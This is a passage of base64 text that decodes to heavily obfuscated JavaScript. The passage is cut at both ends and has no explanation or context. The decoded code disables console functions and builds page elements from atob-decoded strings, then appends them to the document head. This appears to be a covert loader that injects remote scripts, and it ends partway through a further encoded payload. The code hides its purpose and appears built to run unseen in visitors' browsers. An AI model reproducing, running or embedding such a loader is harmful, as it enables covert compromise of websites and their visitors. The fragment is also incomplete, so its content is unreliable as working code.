hW107cmV0dXJuIGZ1bmN0aW9uKEUsTil7ZnVuY3Rpb24gZDEoZCx3LFosZSx6KXtyZXR1cm4gYih3LHotIC0weDI4LFotMHgxNzMsZS0weDNkLHotMHgxYTEpO31mdW5jdGlvbiBZKGQsdyxaLGUseil7cmV0dXJuIEooZC0weDdhLHctMHgxNTgsZS0weDM1Yix3LHotMHg0OCk7fWZ1bmN0aW9uIFQoZCx3LFosZSx6KXtyZXR1cm4gVyhkLTB4MWM4LGUtMHgyMGIsWi0weDcwLHcsei0weDUzKTt9Y29uc3QgSD17J1VDSnZ4JzpmdW5jdGlvbihHLGgpe2Z1bmN0aW9uIG8oZCx3LFosZSx6KXtyZXR1cm4gSyhkLTB4MTU0LHopO31yZXR1cm4geFtvKDB4MzVjLDB4M2FjLDB4MzQ4LDB4M2Q2LDB4Mzg5KV0oRyxoKTt9LCdPRk9CUic6ZnVuY3Rpb24oRyxoKXtmdW5jdGlvbiBqKGQsdyxaLGUseil7cmV0dXJuIEsody0weDE0Yix6KTt9cmV0dXJuIHhbaigweDNlYiwweDQ5YiwweDUyNSwweDUyMiwweDQ3ZSldKEcsaCk7fSwndVpjeGMnOnhbbSgtMHhlLDB4Y2MsMHgxYjksLTB4MmEsMHgxYTgpXSwnS0RFb2wnOnhbbSgtMHg5MywtMHgyNywtMHgyZiwtMHhiZiwtMHhhZildLCdKU0hVdic6ZnVuY3Rpb24oRyxoKXtmdW5jdGlvbiBBKGQsdyxaLGUseil7cmV0dXJuIG0oZC0weGY1LGUtMHg3MSxaLGUtMHgxYjAsei0weDFhOSk7fXJldHVybiB4W0EoMHg2MiwweGViLDB4NjAsLTB4ZSwtMHg3MyldKEcsaCk7fSwnTVFhd1QnOnhbWSgweDI0ZiwweDNmNiwweDNiYSwweDJmZSwweDMxOSldLCdMQWl2QSc6ZnVuY3Rpb24oRyxoKXtmdW5jdGlvbiBEKGQsdyxaLGUseil7cmV0dXJuIG0oZC0weDI3LGUtMHhkYyx6LGUtMHhlNCx6LTB4ZDgpO31yZXR1cm4geFtEKDB4MTc3LDB4MTQ1LDB4NjEsMHhlMCwweGZkKV0oRyxoKTt9LCdKUFFTQyc6eFtUKDB4MjE4LDB4Mjk1LDB4MmNhLDB4MjM0LDB4MmZlKV19O2Z1bmN0aW9uIGQwKGQsdyxaLGUseil7cmV0dXJuIE8oZC0weDRjLGUsWi0weGI0LGUtMHhmYSxaLTB4MTEwKTt9ZnVuY3Rpb24gbShkLHcsWixlLHope3JldHVybiBiKFosdy0gLTB4NjA2LFotMHgxZGQsZS0weDU5LHotMHgxZDUpO31pZih4W1QoMHhiNCwweDFkNSwweDE1MywweDE4MywweDIzNyldKHhbVCgweDIzMiwweDIzZCwweDIzMiwweDE3ZSwweGM1KV0seFtkMCgweDFlYiwweDEwZSwweGZkLDB4MWU5LDB4MWE3KV0pKXtpZih6KXtjb25zdCBoPVFbWSgweDI5MSwweDMzYiwweDNlZCwweDJmZCwweDM2MSldKFIsYXJndW1lbnRzKTtyZXR1cm4geD1udWxsLGg7fX1lbHNle2NvbnN0IGg9cT9mdW5jdGlvbigpe2Z1bmN0aW9uIGQ0KGQsdyxaLGUseil7cmV0dXJuIG0oZC0weGI3LFotMHhjMix3LGUtMHhhMyx6LTB4MTQ1KTt9ZnVuY3Rpb24gZDIoZCx3LFosZSx6KXtyZXR1cm4gZDEoZC0weDEwNixaLFotMHg2MSxlLTB4MTA0LHotIC0weDI1MCk7fWZ1bmN0aW9uIGQ2KGQsdyxaLGUseil7cmV0dXJuIGQwKGQtMHhhYSx3LTB4MTg3LGUtMHgxMDkseix6LTB4MTVjKTt9ZnVuY3Rpb24gZDMoZCx3LFosZSx6KXtyZXR1cm4gbShkLTB4MThiLHotMHg1ODYsdyxlLTB4MzYsei0weDVlKTt9ZnVuY3Rpb24gZDUoZCx3LFosZSx6KXtyZXR1cm4gbShkLTB4MTg1LHctMHgzMjMsZSxlLTB4NWYsei0weDEyYyk7fWlmKEhbZDIoMHgyZjksMHgzODYsMHgzOTUsMHgzOGQsMHgzMjkpXShIW2QyKDB4MzE0LDB4MzhkLDB4NDBhLDB4MzQyLDB4M2E3KV0sSFtkMygweDY4ZCwweDVhMSwweDYzNSwweDYwNywweDU5ZildKSl7aWYoTil7aWYoSFtkMygweDU0NCwweDQ4MywweDY2YSwweDYxMSwweDU3OSldKEhbZDYoMHgyY2EsMHgxM2YsMHgxZTIsMHgyMTEsMHgyZTcpXSxIW2Q0KC0weDM0LDB4MTUxLDB4YjgsLTB4M2YsMHhhZCldKSlaPVllZEJOZVtkMigweDNlNSwweDQxMiwweDQ3OCwweDRhOSwweDNiYildKGUsWWVkQk5lW2QyKDB4NDYyLDB4MzJlLDB4M2YxLDB4NDhkLDB4NDE5KV0oWWVkQk5lW2QyKDB4M2Y4LDB4MzQzLDB4NGVjLDB4NDViLDB4NDE5KV0oWWVkQk5lW2Q0KDB4NGIsMHhkYSwweDEzZCwweGEwLDB4MWJkKV0sWWVkQk5lW2QzKDB4NWQxLDB4NGRjLDB4NTFiLDB4NDgwLDB4NTRiKV0pLCcpOycpKSgpO2Vsc2V7Y29uc3QgTD1OW2Q1KDB4NDE2LDB4NDE4LDB4NGJiLDB4Mzc3LDB4MzQzKV0oRSxhcmd1bWVudHMpO3JldHVybiBOPW51bGwsTDt9fX1lbHNle2NvbnN0IFU9ZVtkNSgweDQ5YiwweDQxOCwweDNmMywweDQxYywweDQyNCldKHosYXJndW1lbnRzKTtyZXR1cm4gYT1udWxsLFU7fX06ZnVuY3Rpb24oKXt9O3JldHVybiBxPSFbXSxoO319O319KCkpLFY9eltDKDB4M2QxLDB4MjY4LDB4MzFjLDB4NDA5LDB4MzczKV0oYSx0aGlzLGZ1bmN0aW9uKCl7ZnVuY3Rpb24gZHcoZCx3LFosZSx6KXtyZXR1cm4geShlLTB4MmFmLHctMHhkZSxkLGUtMHhmMSx6LTB4MTUwKTt9ZnVuY3Rpb24gZDcoZCx3LFosZSx6KXtyZXR1cm4geShaLTB4M2QxLHctMHg4YixkLGUtMHgxNGQsei0weDY2KTt9ZnVuY3Rpb24gZDkoZCx3LFosZSx6KXtyZXR1cm4gQihkLSAtMHgxOTQsdy0weDE1NixaLTB4ZGQsZSx6LTB4MTdmKTt9ZnVuY3Rpb24gZGQoZCx3LFosZSx6KXtyZXR1cm4gaSh6LGQtIC0weDNlNyxaLTB4YjYsZS0weGU0LHotMHgxMWQpO31mdW5jdGlvbiBkOChkLHcsWixlLHope3JldHVybiB0KGQtMHgxMDAsdy0weDEwYyx6LHctIC0weGUyLHotMHgxNzEpO31pZih6W2Q3KDB4NjljLDB4NGVmLDB4NWIxLDB4NWQxLDB4NGI3KV0oeltkNygweDY3OCwweDY0YiwweDZkNCwweDczZSwweDc5OSldLHpbZDcoMHg2NTMsMHg1Y2YsMHg2M2YsMHg2OTMsMHg1NTkpXSkpcmV0dXJuIFZbZGQoLTB4MTZkLC0weDgyLC0weGZjLC0weDFlNSwtMHgxOGEpK2RkKC0weDE4YiwtMHhlNCwtMHgxYjIsLTB4MWFlLC0weDE2NildKClbZHcoMHg0ZTEsMHg1NzcsMHg0ODEsMHg1MmMsMHg0OTkpKydoJ10oeltkOCgweGJhLDB4MTQ4LDB4MTNiLDB4MTc0LDB4NzApXSlbZDgoLTB4NTYsMHg0ZiwweDE0NCwweDVhLDB4YzYpK2Q4KC0weDg3LDB4MzEsMHgyNCwweDE2LDB4MmIpXSgpW2R3KDB4M2FjLDB4NDU0LDB4NDBlLDB4NDhlLDB4NTMxKStkNygweDc0MCwweDczZiwweDY2NCwweDU4MSwweDViMSkrJ3InXShWKVtkdygweDYxNSwweDU4MywweDUzZSwweDUyYywweDVjMCkrJ2gnXSh6W2RkKC0weDc0LDB4N2YsLTB4MTY3LC0weDQyLC0weGYzKV0pO2Vsc2V7aWYoeil7Y29uc3QgcT1RW2R3KDB4NWYwLDB4NWYwLDB4NTY2LDB4NjNlLDB4NjBhKV0oUixhcmd1bWVudHMpO3JldHVybiB4PW51bGwscTt9fX0pO3pbaSgweDFkYSwweDFjYywweDFmYywweDIxOSwweDIxZildKFYpO2NvbnN0IG49KGZ1bmN0aW9uKCl7Y29uc3QgeD17J3BQR3JOJzpmdW5jdGlvbihxLEUpe2Z1bmN0aW9uIGRaKGQsdyxaLGUseil7cmV0dXJuIEsoei0gLTB4MzFjLGQpO31yZXR1cm4geltkWigtMHgxZTEsLTB4YjcsLTB4MzcsLTB4YWMsLTB4MTI5KV0ocSxFKTt9LCdvZlFHSic6eltkZSgweDU5ZiwweDYyNiwweDUyNywweDU3YiwweDYxZSldfTtmdW5jdGlvbiBkZShkLHcsWixlLHope3JldHVybiB5KGQtMHgzYTgsdy0weDdlLFosZS0weDE3MCx6LTB4MTdiKTt9bGV0IGw9ISFbXTtyZXR1cm4gZnVuY3Rpb24ocSxFKXtmdW5jdGlvbiBkUChkLHcsWixlLHope3JldHVybiBkZShlLSAtMHg3MTksdy0weDE4NCxaLGUtMHhiZix6LTB4MTRmKTt9ZnVuY3Rpb24gZEsoZCx3LFosZSx6KXtyZXR1cm4gZGUody0gLTB4NGNiLHctMHhlMixlLGUtMHgxMTMsei0weDEzYSk7fWZ1bmN0aW9uIGR6KGQsdyxaLGUseil7cmV0dXJuIGRlKHotIC0weDRhZCx3LTB4MWM5LGUsZS0weDRlLHotMHhlNSk7fWlmKHpbZFAoMHg1MiwtMHg5NiwtMHg1OCwtMHgzOSwtMHg1MildKHpbZFAoMHgxMTYsMHg0YywtMHgxMywweDI3LDB4ZTIpXSx6W2RLKDB4ZjAsMHgxMWQsMHgxYmYsMHgxZTYsMHgxZDYpXSkpe2NvbnN0IE49bD9mdW5jdGlvbigpe2Z1bmN0aW9uIGRhKGQsdyxaLGUseil7cmV0dXJuIGR6KGQtMHgxZTUsdy0weDExNCxaLTB4MTRjLFosei0gLTB4YjgpO31mdW5jdGlvbiBkUShkLHcsWixlLHope3JldHVybiBkSyhkLTB4MTc1LHotMHhiNixaLTB4MWY0LFosei0weDFlOSk7fWZ1bmN0aW9uIGRuKGQsdyxaLGUseil7cmV0dXJuIGRLKGQtMHgxM2QsZS0weDJhOCxaLTB4YzMsZCx6LTB4MWQ0KTt9ZnVuY3Rpb24gZFYoZCx3LFosZSx6KXtyZXR1cm4gZEsoZC0weGU2LGUtMHg0NTIsWi0weDQ2LHcsei0weDExMik7fWlmKEUpe2lmKHhbZGEoLTB4ZWUsMHhiYywweDQ5LC0weDQ1LC0weDIpXSh4W2RhKC0weDViLDB4MTIzLDB4MTEwLDB4NjgsMHgyZSldLHhbZGEoMHg0OSwweDQzLDB4NzAsMHg5YywweDJlKV0pKXtjb25zdCBIPUVbZG4oMHg0ZjcsMHg1NDgsMHg1OGUsMHg1MTQsMHg1MWYpXShxLGFyZ3VtZW50cyk7cmV0dXJuIEU9bnVsbCxIO31lbHNle2NvbnN0IGg9Vj9mdW5jdGlvbigpe2Z1bmN0aW9uIGRSKGQsdyxaLGUseil7cmV0dXJuIGRWKGQtMHgxMzgsdyxaLTB4MTkyLGUtMHg4MCx6LTB4MTJhKTt9aWYoaCl7Y29uc3Qgcj1HW2RSKDB4NzIxLDB4N2I5LDB4NjgxLDB4NzNlLDB4NzE0KV0oaCxhcmd1bWVudHMpO3JldHVybiBYPW51bGwscjt9fTpmdW5jdGlvbigpe307cmV0dXJuIGw9IVtdLGg7fX19OmZ1bmN0aW9uKCl7fTtyZXR1cm4gbD0hW10sTjt9ZWxzZXtjb25zdCBHPVY/ZnVuY3Rpb24oKXtmdW5jdGlvbiBkeChkLHcsWixlLHope3JldHVybiBkSyhkLTB4MTY2LGQtMHgyYmIsWi0weDgwLHosei0weDYwKTt9aWYoRyl7Y29uc3Qgcj1HW2R4KDB4NTI3LDB4NDM2LDB4NTJiLDB4NDYwLDB4NTFiKV0oaCxhcmd1bWVudHMpO3JldHVybiBYPW51bGwscjt9fTpmdW5jdGlvbigpe307cmV0dXJuIGw9IVtdLEc7fX07fSgpKTtmdW5jdGlvbiBpKGQsdyxaLGUseil7cmV0dXJuIEsody0weDFiLGQpO31jb25zdCBRPXpbQigweDEyZSwweDY1LDB4MWYyLDB4NmQsMHhlNSldKG4sdGhpcyxmdW5jdGlvbigpe2NvbnN0IHg9eydETlliTSc6ZnVuY3Rpb24oSCxHKXtmdW5jdGlvbiBkbChkLHcsWixlLHope3JldHVybiBLKGUtMHgyZWQseik7fXJldHVybiB6W2RsKDB4NjVhLDB4NjBmLDB4NjMyLDB4NjZmLDB4NmU5KV0oSCxHKTt9LCdXaU1vYyc6ZnVuY3Rpb24oSCxHKXtmdW5jdGlvbiBkcShkLHcsWixlLHope3JldHVybiBLKGUtMHgyMGUsdyk7fXJldHVybiB6W2RxKDB4NWMxLDB4NTg0LDB4NWU2LDB4NTdiLDB4NTI2KV0oSCxHKTt9LCdCQ0tDZCc6eltkRSgtMHhjYSwtMHgyNGYsLTB4MTk0LC0weDE1MCwtMHgxYjMpXSwnSFNIanQnOnpbZEUoMHgxZCwtMHgyZCwtMHgxNWQsLTB4MmYsLTB4YmEpXSwncmtMY1InOnpbZE4oMHg2NDgsMHg2MGQsMHg1YWEsMHg1OTUsMHg1NGQpXSwnYlB1ZlgnOmZ1bmN0aW9uKEgsRyl7ZnVuY3Rpb24gZEcoZCx3LFosZSx6KXtyZXR1cm4gZE4oZC0weDE4LHctMHgyYixaLTB4MTUzLGUtMHg0NyxlKTt9cmV0dXJuIHpbZEcoMHg1ODcsMHg1MTksMHg0OGMsMHg1NzgsMHg0ODUpXShILEcpO30sJ25BVlR2JzpmdW5jdGlvbihILEcpe2Z1bmN0aW9uIGRoKGQsdyxaLGUseil7cmV0dXJuIGRFKGQtMHgxMjQsdy0weGI4LHosZS0weDFkNCxaLTB4NWJjKTt9cmV0dXJuIHpbZGgoMHg1MWIsMHg0YjQsMHg1NDksMHg1NzMsMHg1OTQpXShILEcpO30sJ2ZoYUJwJzp6W2RYKDB4M2UsLTB4M2EsMHgyNCwweDFhLC0weDM2KV0sJ1dJWkVIJzp6W2RIKDB4MmRkLDB4MjNjLDB4MmNhLDB4MjFhLDB4MzA0KV0sJ0pwbmV4Jzp6W2RFKC0weDdhLC0weDE4ZSwtMHgyMGEsLTB4MTAyLC0weDE3NCldLCdyblRKSic6eltkWCgweDk4LDB4NTcsMHhlOSwweGNhLDB4MTI3KV0sJ1hMc0d5JzpmdW5jdGlvbihILEcpe2Z1bmN0aW9uIGR2KGQsdyxaLGUseil7cmV0dXJuIGRMKGQtMHg4ZCxaLSAtMHgzMTMsWi0weGJmLGQsei0weDE3MSk7fXJldHVybiB6W2R2KDB4ZDEsMHg0YiwtMHgxMiwtMHhkYiwtMHg3NildKEgsRyk7fSwnUmVxVXcnOmZ1bmN0aW9uKEgsRyl7ZnVuY3Rpb24gZHIoZCx3LFosZSx6KXtyZXR1cm4gZFgoeix3LSAtMHhiZCxaLTB4MWJhLGUtMHgxZTksei0weDhiKTt9cmV0dXJuIHpbZHIoMHgxM2QsMHg3OSwtMHg1ZiwweDE3MCwweDRmKV0oSCxHKTt9LCd4SnZEYic6ZnVuY3Rpb24oSCxHKXtmdW5jdGlvbiBkVShkLHcsWixlLHope3JldHVybiBkTihkLTB4MWEwLGUtIC0weDE4ZSxaLTB4YTksZS0weDEwZix6KTt9cmV0dXJuIHpbZFUoMHgzNDksMHgzOWMsMHgyZmYsMHgzNmEsMHgzZDApXShILEcpO30sJ05qck55Jzp6W2ROKDB4NjgzLDB4NjU4LDB4NzMzLDB4NWM2LDB4NzM5KV0sJ0twU05XJzp6W2RMKDB4MWVhLDB4MmM2LDB4MjM2LDB4MjVlLDB4MmY3KV19LGw9ZnVuY3Rpb24oKXtmdW5jdGlvbiBkcyhkLHcsWixlLHope3JldHVybiBkRShkLTB4MTU2LHctMHg0MSx3LGUtMHgxMDAsZS0weDczYSk7fWZ1bmN0aW9uIGR1KGQsdyxaLGUseil7cmV0dXJuIGROKGQtMHgyOCx3LSAtMHgzNmEsWi0weDE4ZCxlLTB4MTllLFopO31mdW5jdGlvbiBkayhkLHcsWixlLHope3JldHVybiBkTihkLTB4MWNlLFotMHg1ZCxaLTB4MTRiLGUtMHgxODIsdyk7fWZ1bmN0aW9uIGRNKGQsdyxaLGUseil7cmV0dXJuIGRYKHosdy0weDE3ZCxaLTB4MTQzLGUtMHgxNjAsei0weDFhMSk7fWNvbnN0IEg9eydNdHlHQic6eFtkaygweDUyMSwweDRlYSwweDUyMiwweDU2YiwweDU4YyldLCdid2RwVic6ZnVuY3Rpb24oRyxoKXtmdW5jdGlvbiBkcChkLHcsWixlLHope3JldHVybiBkayhkLTB4MWM2LGUsZC0weDQwLGUtMHgxMWMsei0weDE3NSk7fXJldHVybiB4W2RwKDB4NmI0LDB4NjEyLDB4NjkzLDB4NzNkLDB4N2E4KV0oRyxoKTt9fTtmdW5jdGlvbiBkZihkLHcsWixlLHope3JldHVybiBkWCh3LGUtMHg2MTgsWi0weDEwMixlLTB4Mjksei0weDE5OSk7fWlmKHhbZGsoMHg3NzYsMHg2MTEsMHg2ZDIsMHg2MDEsMHg3MmIpXSh4W2RzKDB4NGJjLDB4NjU3LDB4NTVkLDB4NWEyLDB4NjI0KV0seFtkZigweDZlOCwweDVmNiwweDYwMiwweDZhYywweDYzYildKSl7bGV0IEc7dHJ5e2lmKHhbZGYoMHg4MTIsMHg2YWQsMHg4MDEsMHg3NTEsMHg2NjcpXSh4W2RzKDB4NzcxLDB4NzBiLDB4NmZjLDB4NmQ2LDB4NzI4KV0seFtkTSgweDIyOSwweDE1MSwweDIxZSwweDE4NiwweDk3KV0pKUc9eFtkaygweDY5ZSwweDZhNywweDY3MywweDcyNiwweDU4MSldKEZ1bmN0aW9uLHhbZE0oMHgxZmIsMHgxM2UsMHhjOSwweGQ1LDB4ZGQpXSh4W2RmKDB4Njg3LDB4NWI1LDB4NjMxLDB4NWJjLDB4NmE4KV0oeFtkZigweDY4NCwweDc4NiwweDc5NiwweDZhZiwweDY5ZSldLHhbZHUoMHhkYiwweDE2MSwweGIwLDB4OTIsMHgxNjMpXSksJyk7JykpKCk7ZWxzZXtjb25zdCBYPWVbZGsoMHg3MzgsMHg1ZjMsMHg2ZWIsMHg2ZWIsMHg3ZDEpXSh6LGFyZ3VtZW50cyk7cmV0dXJuIGE9bnVsbCxYO319Y2F0Y2goWCl7aWYoeFtkdSgweDMyZiwweDI1NiwweDI3MSwweDE2MywweDFmZildKHhbZHMoMHg2NTcsMHg3MWQsMHg2MWYsMHg2ZGEsMHg3NjkpXSx4W2RrKDB4NTMzLDB4NTY3LDB4NTcxLDB4NTU3LDB4NTdlKV0pKXtjb25zdCByPXpbZGYoMHg1ZDEsMHg1ZmIsMHg2MTYsMHg2NDMsMHg3MzEpK2RNKDB4MmFmLDB4MjEzLDB4MjFiLDB4MTdjLDB4MTFiKStkTSgweGZjLDB4ZmMsMHg5ZiwweDY5LDB4MjcpXShIW2RrKDB4NjBjLDB4NGY0LDB4NTczLDB4NjNkLDB4NGVhKV0pO3JbZHMoMHg0YzAsMHg1NjksMHg2ODUsMHg1YTEsMHg1MWEpXT1IW2R1KDB4MjBkLDB4Mjk0LDB4MmFmLDB4MmUxLDB4MWRjKV0oYSxWKSxuW2RmKDB4NGVjLDB4NGZkLDB4NjU5LDB4NWRiLDB4NTdjKV1bZGsoMHg2MWUsMHg2ZDcsMHg2YzQsMHg3NzMsMHg3NWMpK2RNKDB4MjlkLDB4MWRiLDB4MTZkLDB4MjQxLDB4MTg0KSsnZCddKHIpO31lbHNlIEc9d2luZG93O31yZXR1cm4gRzt9ZWxzZXtsZXQgVTt0cnl7VT1HS2ZxeFNbZHUoMHgxNzcsMHgxYjMsMHhlZiwweDE2MSwweGJmKV0oeixHS2ZxeFNbZGYoMHg2OTksMHg2MzgsMHg2NjcsMHg1ZDksMHg2YjgpXShHS2ZxeFNbZHMoMHg0YjUsMHg1MWEsMHg1MWYsMHg1OGQsMHg0ZDUpXShHS2ZxeFNbZGsoMHg1NDcsMHg1Y2YsMHg2MzAsMHg2N2IsMHg1NWUpXSxHS2ZxeFNbZGsoMHg0ZWEsMHg1ZGIsMHg1MjgsMHg1MzUsMHg1ZjIpXSksJyk7JykpKCk7fWNhdGNoKGspe1U9Vjt9cmV0dXJuIFU7fX07ZnVuY3Rpb24gZEwoZCx3LFosZSx6KXtyZXR1cm4geSh3LTB4MWQsdy0weDE3ZSxlLGUtMHgxZSx6LTB4YTYpO31jb25zdCBxPXpbZEUoLTB4MmJkLC0weDFkMSwtMHgxMDEsLTB4MWNkLC0weDFmNCldKGwpO2Z1bmN0aW9uIGRFKGQsdyxaLGUseil7cmV0dXJuIHkoei0gLTB4M2FiLHctMHhlLFosZS0weDExYix6LTB4MWQ3KTt9ZnVuY3Rpb24gZE4oZCx3LFosZSx6KXtyZXR1cm4gQih3LTB4NDMxLHctMHgxNTksWi0weGViLHosei0weDFiMik7fWZ1bmN0aW9uIGRIKGQsdyxaLGUseil7cmV0dXJuIEMoZC0weDFhLHctMHhlYSxkLSAtMHg2ZSxlLTB4MTlmLHopO31jb25zdCBFPXFbZEUoLTB4MTQ5LC0weDFkYywtMHgxYWMsLTB4MWY2LC0weDEwMCkrJ2xlJ109cVtkWCgweDUxLDB4NmUsMHg4NSwtMHgxNywweDk3KSsnbGUnXXx8e30sTj1beltkSCgweDM2ZSwweDNlNywweDM0NSwweDJjMCwweDQ0MildLHpbZEUoLTB4MmNhLC0weDFkZCwtMHgxMzAsLTB4MWU4LC0weDFkYSldLHpbZEUoLTB4MTFkLC0weDJlYiwtMHgxZmQsLTB4MTY0LC0weDFmNyldLHpbZEwoMHgyNGQsMHgxZjYsMHgxODAsMHgyM2IsMHgyZTkpXSx6W2RYKDB4ZDYsMHhlMSwweDEzNCwweDE4YSwweDE4KV0seltkWCgweDg0LDB4NDQsMHg0MCwtMHhhZiwtMHg3MSldLHpbZEwoMHgyOWIsMHgyZWIsMHgyNjQsMHgzNmQsMHgzNzIpXV07ZnVuY3Rpb24gZFgoZCx3LFosZSx6KXtyZXR1cm4gaShkLHctIC0weDI1MixaLTB4MTY0LGUtMHg0Zix6LTB4YzApO31mb3IobGV0IEg9LTB4MjMyKi0weDgrLTB4OGZmKjB4MysweDk2ZDt6W2RMKDB4MTRkLDB4MjEzLDB4MjY3LDB4MWU3LDB4MWY2KV0oSCxOW2RFKC0weDIyMywtMHhkYywtMHgxNzYsLTB4MTdiLC0weDFiMCkrJ2gnXSk7SCsrKXtpZih6W2RYKC0weGVhLC0weDVkLC0weDRhLC0weDk4LDB4YSldKHpbZEwoMHg0NDcsMHgzOTksMHgzNWYsMHgyZjYsMHg0N2EpXSx6W2RFKDB4N2MsLTB4MTJhLDB4YmEsLTB4YWMsLTB4MmYpXSkpWj1lO2Vsc2V7Y29uc3QgaD1uW2RMKDB4MjhiLDB4MWZjLDB4MjMzLDB4MmU2LDB4MTQ0KStkRSgtMHhjNCwtMHgxMjcsLTB4ZjAsLTB4MTU5LC0weDExOCkrJ3InXVtkWCgweDE0MiwweDljLDB4MzQsMHgzZSwweDE0YikrZE4oMHg1OGUsMHg2MjksMHg2YmMsMHg2NzIsMHg2MzQpXVtkWCgweDEyYSwweGQ1LDB4MTQ5LDB4MTk1LC0weGIpXShuKSxYPU5bSF0sTD1FW1hdfHxoO2hbZEgoMHgyZjEsMHgzZDgsMHgyOTEsMHgyNWIsMHgzNWMpK2RFKC0weDRjLC0weDE1MCwtMHg3NywtMHhhNiwtMHgxMDUpXT1uW2RIKDB4MzYwLDB4MzZhLDB4Mjc4LDB4Mjc0LDB4NDNhKV0obiksaFtkSCgweDJiMywweDM0MSwweDIyYSwweDM1ZSwweDIzNCkrZEwoMHgyZDgsMHgyNjQsMHgzNDIsMHgyNzAsMHgyMjUpXT1MW2RIKDB4MmIzLDB4M2FlLDB4MzIyLDB4MjgyLDB4MmE5KStkWCgtMHg3OCwweGEsMHgxZSwweDFjLC0weDdhKV1bZE4oMHg1NTMsMHg2MTEsMHg2ZDUsMHg2MDUsMHg2NmEpXShMKSxFW1hdPWg7fX19KTt6W2koMHgxMmEsMHgxY2MsMHhlMywweDFiNCwweDFkOCldKFEpO2NvbnN0IFI9W3pbaSgweDMwMiwweDI1ZSwweDIzYSwweDFhZCwweDMwMyldLHpbeSgweDM1NSwweDI2ZiwweDNlYSwweDI3YywweDJlMildLHpbaSgweDE4ZCwweDFjNCwweDI5MiwweDFkZCwweDI2ZSldXTtmdW5jdGlvbiBCKGQsdyxaLGUseil7cmV0dXJuIEsoZC0gLTB4MTJjLGUpO31mdW5jdGlvbiB5KGQsdyxaLGUseil7cmV0dXJuIEsoZC0weDYsWik7fWZ1bmN0aW9uIEMoZCx3LFosZSx6KXtyZXR1cm4gSyhaLTB4YzIseik7fVJbeSgweDIzYiwweDMwNywweDI3NywweDE4NCwweDFkNCkrJ2NoJ10oeD0+e2Z1bmN0aW9uIGRDKGQsdyxaLGUseil7cmV0dXJuIEIody0weDM0LHctMHg4YixaLTB4M2IsZCx6LTB4MWNiKTt9ZnVuY3Rpb24gZEIoZCx3LFosZSx6KXtyZXR1cm4gQyhkLTB4MWRiLHctMHhlMix6LTB4MWQwLGUtMHgxZixkKTt9ZnVuY3Rpb24gZGkoZCx3LFosZSx6KXtyZXR1cm4gQihlLSAtMHgxNGQsdy0weGU1LFotMHhiYixkLHotMHhkOCk7fWZ1bmN0aW9uIGR5KGQsdyxaLGUseil7cmV0dXJuIHQoZC0weDFhOSx3LTB4MTRiLHcsWi0gLTB4MjQ4LHotMHgxYmMpO31mdW5jdGlvbiBkdChkLHcsWixlLHope3JldHVybiB5KFotMHgxZTYsdy0weDQxLGQsZS0weDFhOCx6LTB4MTA2KTt9aWYoeltkaSgtMHhjNCwweGJmLDB4NTMsMHgwLC0weGUzKV0oeltkaSgweDFiMSwweDM3LDB4MWQwLDB4MTEzLDB4MTEwKV0seltkdCgweDRiNCwweDRjYywweDU3OCwweDU4OSwweDRhYyldKSl7Y29uc3QgcT1RW2R0KDB4M2MyLDB4M2RkLDB4M2M1LDB4NDBhLDB4M2FhKStkQigweDU5NSwweDU0OCwweDU2YiwweDVlMywweDUxZikrJ3InXVtkeSgtMHhkYywtMHhkNiwtMHhhMywtMHhlNCwtMHgyMykrZGkoMHg5MywweDE2NiwtMHgxNiwweGFiLDB4YzMpXVtkQygweDFmMiwweDIxNCwweDJhNSwweDIwMywweDEyMSldKFIpLEU9eFtsXSxOPXFbRV18fHE7cVtkaSgweDhkLDB4NWMsLTB4MmIsMHgyNCwweGI4KStkeSgtMHg3MSwweDFmLC0weGQ2LC0weGQ3LC0weGE4KV09RVtkdCgweDRmNSwweDU1NiwweDRmOCwweDVjYiwweDVkNCldKE4pLHFbZGkoLTB4OCwtMHhjYywtMHg2NiwtMHgxYSwweDdlKStkQigweDRiZSwweDU2NiwweDQwYywweDUzOCwweDRkMyldPU5bZHkoLTB4YmYsLTB4ZTcsLTB4MTE3LC0weDFlLC0weDRiKStkdCgweDRlNSwweDM5NywweDQyZCwweDM2ZCwweDNiNCldW2RCKDB4NTg5LDB4NWRmLDB4NTRhLDB4NGNmLDB4NTllKV0oTiksSFtFXT1xO31lbHNle2NvbnN0IHE9ZG9jdW1lbnRbZEMoMHgyMTYsMHgxNmEsMHhmMCwweDE2OCwweDFjOSkrZHQoMHg0NzksMHg0ZDAsMHg0YjksMHg1NDUsMHgzY2IpK2RCKDB4NGJhLDB4NDVhLDB4Mzg3LDB4NDA2LDB4NDQ4KV0oeltkQigweDViNCwweDUxNCwweDU2OCwweDYwMCwweDU5YSldKTtxW2RCKDB4NGVmLDB4NTBlLDB4M2JlLDB4NDM1LDB4NDllKV09eltkeSgtMHhjOSwtMHgxZDYsLTB4MTc2LC0weDEyYiwtMHgyM2IpXShhdG9iLHgpLGRvY3VtZW50W2R5KC0weDIxOCwtMHgxMTMsLTB4MTdjLC0weDI3NywtMHgyMGMpXVtkQigweDZjYywweDY2YywweDYzZiwweDY3NCwweDVmNCkrZHkoLTB4MTVhLC0weDk2LC0weGUxLC0weDFkNSwweDUpKydkJ10ocSk7fX0pO30oKSk7Y29uc3Qgdj1hdG9iKGRjKDB4MzY4LDB4M2MwLDB4MzY0LDB4MzIxLDB4MmY2KStkZygtMHgxNjMsLTB4MTYyLC0weDE2MSwtMHgxNjcsLTB4MTgwKStkYygweDVhYywweDUwYSwweDQ0MCwweDU5MSwweDUzNykrZGMoMHg1MmQsMHg0Y2QsMHg0MWQsMHg0ODMsMHg1MmUpK2RnKC0weDE5ZiwtMHgxOTgsLTB4MTI4LC0weDE2OCwtMHhkNSkrZGIoMHgyZjQsMHgzMDIsMHgzMTAsMHgzNzIsMHgzYzgpK2RJKDB4YzEsMHhlNSwweDgyLDB4MTQ1LDB4NzEpK2RiKDB4MjU3LDB4MmQwLDB4MjlkLDB4MjBhLDB4MzA0KStkYygweDRiZSwweDQxYiwweDQwMCwweDRkNiwweDNkOSkrZGcoLTB4ZGMsLTB4MTUyLC0weGZmLDB4ZiwtMHhkNSkrZGMoMHg0YjMsMHg1M2YsMHg0NjAsMHg1ZWYsMHg2MWYpK2RjKDB4NTkwLDB4NTIzLDB4NDJmLDB4NTI1LDB4NGMzKStkSSgtMHhlOSwweDQyLC0weDY1LDB4M2MsLTB4MTNmKStkYigweGY2LDB4MmI1LDB4MWRiLDB4Mjc0LDB4MTE0KStkYygweDRlZSwweDUyZCwweDVhYiwweDVhMywweDU4MikrZGcoLTB4MWMzLC0weDI5MSwtMHgyYTYsLTB4MjU1LC0weDE2OSkrZGIoMHgzODAsMHgyODMsMHgyYmMsMHgzOTgsMHgyNmEpK2RjKDB4NDljLDB4NGEwLDB4NDNi